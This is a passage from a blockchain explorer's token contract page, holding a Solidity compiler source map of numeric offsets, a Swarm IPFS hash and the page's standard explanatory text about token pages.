;;;;:::i;:::-;;;;17061:372:::0;:::o;5316:620::-;5456:4;5473:36;5483:6;5491:9;5502:6;5473:9;:36::i;:::-;-1:-1:-1;;;;;5549:19:0;;5522:24;5549:19;;;:11;:19;;;;;;;;175:10;5549:33;;;;;;;;-1:-1:-1;;5596:37:0;;5593:314;;5697:6;5677:16;:26;;5651:128;;;;-1:-1:-1;;;5651:128:0;;6972:2:1;5651:128:0;;;6954:21:1;7011:2;6991:18;;;6984:30;7050:34;7030:18;;;7023:62;-1:-1:-1;;;7101:18:1;;;7094:38;7149:19;;5651:128:0;6770:404:1;5651:128:0;5823:57;5832:6;175:10;5873:6;5854:16;:25;5823:8;:57::i;:::-;-1:-1:-1;5924:4:0;;5316:620;-1:-1:-1;;;;5316:620:0:o;17779:156::-;17832:7;17905:21;17923:1;17905:9;:21::i;:::-;17876:26;17894:6;17876:9;:26::i;:::-;:50;;;;:::i;:::-;4452:12;;17859:68;;;;:::i;:::-;17852:75;;17779:156;:::o;5944:297::-;175:10;6059:4;6153:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6153:34:0;;;;;;;;;;6059:4;;6081:130;;6131:7;;6153:47;;6190:10;;6153:47;:::i;:::-;6081:8;:130::i;17943:273::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;18079:3:::1;18054:22;:20;:22::i;:::-;:28;;;;:::i;:::-;18042:8;:40;;18034:100;;;::::0;-1:-1:-1;;;18034:100:0;;7511:2:1;18034:100:0::1;::::0;::::1;7493:21:1::0;7550:2;7530:18;;;7523:30;7589:34;7569:18;;;7562:62;-1:-1:-1;;;7640:18:1;;;7633:45;7695:19;;18034:100:0::1;7309:411:1::0;18034:100:0::1;18145:18;:28:::0;;;;18184:13:::1;:24:::0;17943:273::o;13119:::-;13163:7;13183:15;13219:17;;13201:15;:35;;;;:::i;:::-;13183:53;;13261:9;13250:7;:20;13247:33;;13279:1;13272:8;;;13119:273;:::o;13247:33::-;13305:9;13294:7;:20;13291:34;;13323:2;13316:9;;;13119:273;:::o;14036:207::-;-1:-1:-1;;;;;14125:17:0;;14102:7;14125:17;;;:8;:17;;;;;;:21;;;;:64;;-1:-1:-1;;;;;;14168:17:0;;14188:1;14168:17;;;:8;:17;;;;;;14150:35;;:15;:35;:::i;:::-;:39;14125:64;14122:77;;;-1:-1:-1;14198:1:0;;14036:207;-1:-1:-1;14036:207:0:o;14122:77::-;-1:-1:-1;;;;;;14217:18:0;:9;:18;;;;;;;;;;;;14036:207::o;8343:148::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;8434:6:::1;::::0;8413:40:::1;::::0;8450:1:::1;::::0;-1:-1:-1;;;;;8434:6:0::1;::::0;8413:40:::1;::::0;8450:1;;8413:40:::1;8464:6;:19:::0;;-1:-1:-1;;;;;;8464:19:0::1;::::0;;8343:148::o;12770:224::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;12859:6:::1;::::0;-1:-1:-1;;;;;12859:6:0;;::::1;12851:14:::0;;::::1;::::0;12843:68:::1;;;::::0;-1:-1:-1;;;12843:68:0;;7927:2:1;12843:68:0::1;::::0;::::1;7909:21:1::0;7966:2;7946:18;;;7939:30;8005:34;7985:18;;;7978:62;-1:-1:-1;;;8056:18:1;;;8049:40;8106:19;;12843:68:0::1;7725:406:1::0;12843:68:0::1;12936:5;:14;;12949:1;12936:14;;;12945:1;12936:14;-1:-1:-1::0;;;;;12922:11:0;::::1;;::::0;;;:5:::1;:11;::::0;;;;;;:28:::1;::::0;;;::::1;::::0;;;12966:20;;::::1;::::0;::::1;::::0;12980:5;1946:14:1;1939:22;1921:41;;1909:2;1894:18;;1781:187;12966:20:0::1;;;;;;;;12770:224:::0;;:::o;4151:104::-;4207:13;4240:7;4233:14;;;;;:::i;6249:482::-;175:10;6369:4;6418:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6418:34:0;;;;;;;;;;6485:35;;;;6463:122;;;;-1:-1:-1;;;6463:122:0;;8338:2:1;6463:122:0;;;8320:21:1;8377:2;8357:18;;;8350:30;8416:34;8396:18;;;8389:62;-1:-1:-1;;;8467:18:1;;;8460:35;8512:19;;6463:122:0;8136:401:1;6463:122:0;6621:67;175:10;6644:7;6672:15;6653:16;:34;6621:8;:67::i;:::-;-1:-1:-1;6719:4:0;;6249:482;-1:-1:-1;;;6249:482:0:o;4665:216::-;4787:4;4809:42;175:10;4833:9;4844:6;4809:9;:42::i;17548:140::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;17611:17:::1;::::0;:22;17603:31:::1;;;::::0;::::1;;17665:15;17645:17;:35:::0;17548:140::o;13838:190::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;13954:8:::1;:16;;13969:1;13954:16;;;13965:1;13954:16;-1:-1:-1::0;;;;;13923:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;:47:::1;::::0;;;::::1;::::0;;;13986:34;;::::1;::::0;::::1;::::0;14011:8;1946:14:1;1939:22;1921:41;;1909:2;1894:18;;1781:187;8499:281:0;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8602:22:0;::::1;8580:110;;;::::0;-1:-1:-1;;;8580:110:0;;8744:2:1;8580:110:0::1;::::0;::::1;8726:21:1::0;8783:2;8763:18;;;8756:30;8822:34;8802:18;;;8795:62;-1:-1:-1;;;8873:18:1;;;8866:36;8919:19;;8580:110:0::1;8542:402:1::0;8580:110:0::1;8727:6;::::0;8706:38:::1;::::0;-1:-1:-1;;;;;8706:38:0;;::::1;::::0;8727:6:::1;::::0;8706:38:::1;::::0;8727:6:::1;::::0;8706:38:::1;8755:6;:17:::0;;-1:-1:-1;;;;;;8755:17:0::1;-1:-1:-1::0;;;;;8755:17:0;;;::::1;::::0;;;::::1;::::0;;8499:281::o;16892:161::-;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;16987:58:::1;::::0;16950:12:::1;::::0;16995:10:::1;::::0;17019:21:::1;::::0;16950:12;16987:58;16950:12;16987:58;17019:21;16995:10;16987:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17696:75:::0;8256:6;;-1:-1:-1;;;;;8256:6:0;175:10;8256:22;8248:67;;;;-1:-1:-1;;;8248:67:0;;;;;;;:::i;:::-;17762:1:::1;17753:6;:10:::0;17696:75::o;7398:380::-;-1:-1:-1;;;;;7534:19:0;;7526:68;;;;-1:-1:-1;;;7526:68:0;;9361:2:1;7526:68:0;;;9343:21:1;9400:2;9380:18;;;9373:30;9439:34;9419:18;;;9412:62;-1:-1:-1;;;9490:18:1;;;9483:34;9534:19;;7526:68:0;9159:400:1;7526:68:0;-1:-1:-1;;;;;7613:21:0;;7605:68;;;;-1:-1:-1;;;7605:68:0;;9766:2:1;7605:68:0;;;9748:21:1;9805:2;9785:18;;;9778:30;9844:34;9824:18;;;9817:62;-1:-1:-1;;;9895:18:1;;;9888:32;9937:19;;7605:68:0;9564:398:1;7605:68:0;-1:-1:-1;;;;;7686:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7738:32;;510:25:1;;;7738:32:0;;483:18:1;7738:32:0;;;;;;;7398:380;;;:::o;14251:1751::-;-1:-1:-1;;;;;14383:18:0;;14375:68;;;;-1:-1:-1;;;14375:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14462:16:0;;14454:64;;;;-1:-1:-1;;;14454:64:0;;;;;;;:::i;:::-;14555:1;14535:17;;:21;:55;;;;-1:-1:-1;;;;;;14560:25:0;;;;;;:19;:25;;;;;;14589:1;14560:30;;14535:55;:87;;;;-1:-1:-1;;;;;;14594:23:0;;;;;;:19;:23;;;;;;14621:1;14594:28;;14535:87;14531:1418;;;14643:6;;14653:1;14643:11;14639:317;;-1:-1:-1;;;;;14679:9:0;;;;;;:5;:9;;;;;;14692:1;14679:14;;;;:39;;-1:-1:-1;;;;;;14697:21:0;;14711:6;14697:21;;14679:39;14675:182;;;14793:2;14777:13;4452:12;;;4364:108;14777:13;:18;;;;:::i;:::-;14767:6;14751:13;14761:2;14751:9;:13::i;:::-;:22;;;;:::i;:::-;:44;;14743:94;;;;-1:-1:-1;;;14743:94:0;;10979:2:1;14743:94:0;;;10961:21:1;11018:2;10998:18;;;10991:30;11057:34;11037:18;;;11030:62;-1:-1:-1;;;11108:18:1;;;11101:35;11153:19;;14743:94:0;10777:401:1;14743:94:0;14909:3;14893:13;4452:12;;;4364:108;14893:13;:19;;;;:::i;:::-;14883:6;:29;;14875:65;;;;-1:-1:-1;;;14875:65:0;;11385:2:1;14875:65:0;;;11367:21:1;11424:2;11404:18;;;11397:30;11463:25;11443:18;;;11436:53;11506:18;;14875:65:0;11183:347:1;14875:65:0;14972:12;15005:11;15019:15;15029:4;15019:9;:15::i;:::-;15005:29;;15061:3;15052:6;:12;15049:29;;;15075:3;15066:12;;15049:29;15178:9;15157:17;;15139:15;:35;;;;:::i;:::-;:48;;:69;;;;-1:-1:-1;;;;;;15191:12:0;;;;;;:8;:12;;;;;;:17;15139:69;15136:121;;;-1:-1:-1;;;;;15227:12:0;;;;;;:8;:12;;;;;15242:15;15227:30;;15136:121;-1:-1:-1;;;;;15276:9:0;;;;;;:5;:9;;;;;;15289:1;15276:14;15272:342;;15311:11;15325:13;:11;:13::i;:::-;15311:27;-1:-1:-1;15360:7:0;;15357:60;;15414:3;15398:12;15407:3;15398:6;:12;:::i;:::-;15397:20;;;;:::i;:::-;15390:27;;15357:60;15292:141;15272:342;;;-1:-1:-1;;;;;15456:11:0;;;;;;:5;:11;;;;;;15471:1;15456:16;15452:162;;15493:11;15507:12;:10;:12::i;:::-;15493:26;-1:-1:-1;15541:7:0;;15538:60;;15595:3;15579:12;15588:3;15579:6;:12;:::i;:::-;15578:20;;;;:::i;:::-;15571:27;;15538:60;15474:140;15452:162;15634:8;;15630:91;;15663:42;15679:4;15693;15700;15663:15;:42::i;:::-;15737:14;15747:4;15737:14;;:::i;:::-;;;15772:11;;15787:1;15772:16;:33;;;;;15792:8;;15804:1;15792:13;;15772:33;:51;;;;-1:-1:-1;;;;;;15809:9:0;;;;;;:5;:9;;;;;;15822:1;15809:14;15772:51;15768:170;;;15855:1;15844:8;:12;15875:16;15884:6;15875:8;:16::i;:::-;15921:1;15910:8;:12;15768:170;14624:1325;;14531:1418;15961:33;15977:4;15983:2;15987:6;15961:15;:33::i;:::-;14251:1751;;;:::o;6739:651::-;-1:-1:-1;;;;;6879:20:0;;6871:70;;;;-1:-1:-1;;;6871:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6960:23:0;;6952:71;;;;-1:-1:-1;;;6952:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7060:17:0;;7036:21;7060:17;;;;;;;;;;;7110:23;;;;7088:111;;;;-1:-1:-1;;;7088:111:0;;11910:2:1;7088:111:0;;;11892:21:1;11949:2;11929:18;;;11922:30;11988:34;11968:18;;;11961:62;-1:-1:-1;;;12039:18:1;;;12032:36;12085:19;;7088:111:0;11708:402:1;7088:111:0;-1:-1:-1;;;;;7235:17:0;;;:9;:17;;;;;;;;;;;7255:22;;;7235:42;;7299:20;;;;;;;;:30;;7271:6;;7235:9;7299:30;;7271:6;;7299:30;:::i;:::-;;;;;;;;7364:9;-1:-1:-1;;;;;7347:35:0;7356:6;-1:-1:-1;;;;;7347:35:0;;7375:6;7347:35;;;;510:25:1;;498:2;483:18;;364:177;7347:35:0;;;;;;;;6860:530;6739:651;;;:::o;16406:478::-;16459:20;16482:24;16500:4;16482:9;:24::i;:::-;16459:47;;16536:18;;16521:12;:33;16517:46;;;16556:7;16406:478;:::o;16517:46::-;16592:13;;16577:12;:28;16573:62;;;-1:-1:-1;16622:13:0;;16573:62;16665:6;16650:12;:21;16646:48;;;-1:-1:-1;16688:6:0;16646:48;16709:12;16725:1;16709:17;16705:30;;16728:7;16406:478;:::o;16705:30::-;16747:12;16770:30;16787:12;16770:16;:30::i;:::-;16827:49;;-1:-1:-1;;;;;16827:10:0;:15;;16850:21;;16827:49;;;;16850:21;16827:15;:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16406:478:0:o;16010:388::-;16100:16;;;16114:1;16100:16;;;;;;;;16076:21;;16100:16;;;;;;;;;;-1:-1:-1;16100:16:0;16076:40;;16145:4;16127;16132:1;16127:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16127:23:0;;;-1:-1:-1;;;;;16127:23:0;;;;;16171:9;-1:-1:-1;;;;;16171:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16161:4;16166:1;16161:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16161:26:0;;;:7;;;;;;;;;:26;16200:190;;-1:-1:-1;;;16200:190:0;;:9;:60;;;;;;:190;;16275:11;;16301:1;;16317:4;;16344;;16364:15;;16200:190;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14:160:1;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;546:548::-;658:4;687:2;716;705:9;698:21;748:6;742:13;791:6;786:2;775:9;771:18;764:34;816:1;826:140;840:6;837:1;834:13;826:140;;;935:14;;;931:23;;925:30;901:17;;;920:2;897:26;890:66;855:10;;826:140;;;830:3;1015:1;1010:2;1001:6;990:9;986:22;982:31;975:42;1085:2;1078;1074:7;1069:2;1061:6;1057:15;1053:29;1042:9;1038:45;1034:54;1026:62;;;;546:548;;;;:::o;1325:131::-;-1:-1:-1;;;;;1400:31:1;;1390:42;;1380:70;;1446:1;1443;1436:12;1380:70;1325:131;:::o;1461:315::-;1529:6;1537;1590:2;1578:9;1569:7;1565:23;1561:32;1558:52;;;1606:1;1603;1596:12;1558:52;1645:9;1632:23;1664:31;1689:5;1664:31;:::i;:::-;1714:5;1766:2;1751:18;;;;1738:32;;-1:-1:-1;;;1461:315:1:o;1973:247::-;2032:6;2085:2;2073:9;2064:7;2060:23;2056:32;2053:52;;;2101:1;2098;2091:12;2053:52;2140:9;2127:23;2159:31;2184:5;2159:31;:::i;2225:456::-;2302:6;2310;2318;2371:2;2359:9;2350:7;2346:23;2342:32;2339:52;;;2387:1;2384;2377:12;2339:52;2426:9;2413:23;2445:31;2470:5;2445:31;:::i;:::-;2495:5;-1:-1:-1;2552:2:1;2537:18;;2524:32;2565:33;2524:32;2565:33;:::i;:::-;2225:456;;2617:7;;-1:-1:-1;;;2671:2:1;2656:18;;;;2643:32;;2225:456::o;3083:248::-;3151:6;3159;3212:2;3200:9;3191:7;3187:23;3183:32;3180:52;;;3228:1;3225;3218:12;3180:52;-1:-1:-1;;3251:23:1;;;3321:2;3306:18;;;3293:32;;-1:-1:-1;3083:248:1:o;3336:315::-;3401:6;3409;3462:2;3450:9;3441:7;3437:23;3433:32;3430:52;;;3478:1;3475;3468:12;3430:52;3517:9;3504:23;3536:31;3561:5;3536:31;:::i;:::-;3586:5;-1:-1:-1;3610:35:1;3641:2;3626:18;;3610:35;:::i;:::-;3600:45;;3336:315;;;;;:::o;3656:388::-;3724:6;3732;3785:2;3773:9;3764:7;3760:23;3756:32;3753:52;;;3801:1;3798;3791:12;3753:52;3840:9;3827:23;3859:31;3884:5;3859:31;:::i;:::-;3909:5;-1:-1:-1;3966:2:1;3951:18;;3938:32;3979:33;3938:32;3979:33;:::i;:::-;4031:7;4021:17;;;3656:388;;;;;:::o;4049:356::-;4251:2;4233:21;;;4270:18;;;4263:30;4329:34;4324:2;4309:18;;4302:62;4396:2;4381:18;;4049:356::o;4410:127::-;4471:10;4466:3;4462:20;4459:1;4452:31;4502:4;4499:1;4492:15;4526:4;4523:1;4516:15;4542:128;4609:9;;;4630:11;;;4627:37;;;4644:18;;:::i;4675:217::-;4715:1;4741;4731:132;;4785:10;4780:3;4776:20;4773:1;4766:31;4820:4;4817:1;4810:15;4848:4;4845:1;4838:15;4731:132;-1:-1:-1;4877:9:1;;4675:217::o;4897:380::-;4976:1;4972:12;;;;5019;;;5040:61;;5094:4;5086:6;5082:17;5072:27;;5040:61;5147:2;5139:6;5136:14;5116:18;5113:38;5110:161;;5193:10;5188:3;5184:20;5181:1;5174:31;5228:4;5225:1;5218:15;5256:4;5253:1;5246:15;5110:161;;4897:380;;;:::o;5282:251::-;5352:6;5405:2;5393:9;5384:7;5380:23;5376:32;5373:52;;;5421:1;5418;5411:12;5373:52;5453:9;5447:16;5472:31;5497:5;5472:31;:::i;6459:306::-;6547:6;6555;6563;6616:2;6604:9;6595:7;6591:23;6587:32;6584:52;;;6632:1;6629;6622:12;6584:52;6661:9;6655:16;6645:26;;6711:2;6700:9;6696:18;6690:25;6680:35;;6755:2;6744:9;6740:18;6734:25;6724:35;;6459:306;;;;;:::o;7179:125::-;7244:9;;;7265:10;;;7262:36;;;7278:18;;:::i;9967:401::-;10169:2;10151:21;;;10208:2;10188:18;;;10181:30;10247:34;10242:2;10227:18;;10220:62;-1:-1:-1;;;10313:2:1;10298:18;;10291:35;10358:3;10343:19;;9967:401::o;10373:399::-;10575:2;10557:21;;;10614:2;10594:18;;;10587:30;10653:34;10648:2;10633:18;;10626:62;-1:-1:-1;;;10719:2:1;10704:18;;10697:33;10762:3;10747:19;;10373:399::o;11535:168::-;11608:9;;;11639;;11656:15;;;11650:22;;11636:37;11626:71;;11677:18;;:::i;12247:127::-;12308:10;12303:3;12299:20;12296:1;12289:31;12339:4;12336:1;12329:15;12363:4;12360:1;12353:15;12379:980;12641:4;12689:3;12678:9;12674:19;12720:6;12709:9;12702:25;12746:2;12784:6;12779:2;12768:9;12764:18;12757:34;12827:3;12822:2;12811:9;12807:18;12800:31;12851:6;12886;12880:13;12917:6;12909;12902:22;12955:3;12944:9;12940:19;12933:26;;12994:2;12986:6;12982:15;12968:29;;13015:1;13025:195;13039:6;13036:1;13033:13;13025:195;;;13104:13;;-1:-1:-1;;;;;13100:39:1;13088:52;;13195:15;;;;13160:12;;;;13136:1;13054:9;13025:195;;;-1:-1:-1;;;;;;;13276:32:1;;;;13271:2;13256:18;;13249:60;-1:-1:-1;;;13340:3:1;13325:19;13318:35;13237:3;12379:980;-1:-1:-1;;;12379:980:1:o
Swarm Source
ipfs://259a25321a0a4af446a2bb1e6c5d34273d73fc0293bf0d52626da2f2f030ee81
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.